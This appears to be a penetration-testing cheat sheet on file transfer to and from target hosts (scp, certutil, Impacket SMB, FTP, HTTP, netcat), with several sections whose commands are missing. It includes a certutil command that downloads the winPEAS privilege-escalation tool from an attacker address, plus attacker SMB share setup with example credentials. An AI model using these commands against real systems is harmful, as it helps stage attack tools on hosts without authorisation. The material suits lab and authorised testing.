File Transferring

SSH (scp)

scp <source> <destination>
scp /path/to/file username@server:/path/to/destination
scp username@server:/path/to/file /path/to/local/destination

certutil.exe (command prompt)

certutil.exe -urlcache -split -f "http://10.10.14.11/winpeas.exe" winpeas.exe

SMB

Impacket SMB Server

Impacket's smbserver functionality can create a smb share

python /user/share/doc/python-impacket/examples/smbserver.py share-name root-dir

Best to create one like the following:

impacket-smbserver FileShare $(pwd) -smb2support -user ippsec -password SupportMeOnPatreon

Connect To Share from Windows PowerShell

$pass = convertto-securestring 'SupportMeOnPatreon' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('ippsec', $pass)
New-PSDrive -Name ippsec -PSProvider FileSystem -Credential $cred -Root \\<local-ip>\<share_name>

Connect to share from Windows Command Shell

Impacket's SMB share, can test connection from windows using:

list files in share with

Impacket SMB Server requires SMB1 be enabled. If you have administrative privileges you can enable SMB1 using the following command:

You can also go through the GUI Control Panel.

FTP

pyftpdlib

install the package on your machine with

Start the server with

default port used is 2121

HTTP

Apache2

The web root for our apache server will be /var/www/html

You can check to make sure a request went through by checking the access.log file:

Python3 Http.Server

Netcat

Great resource for file transferring methods:

Last updated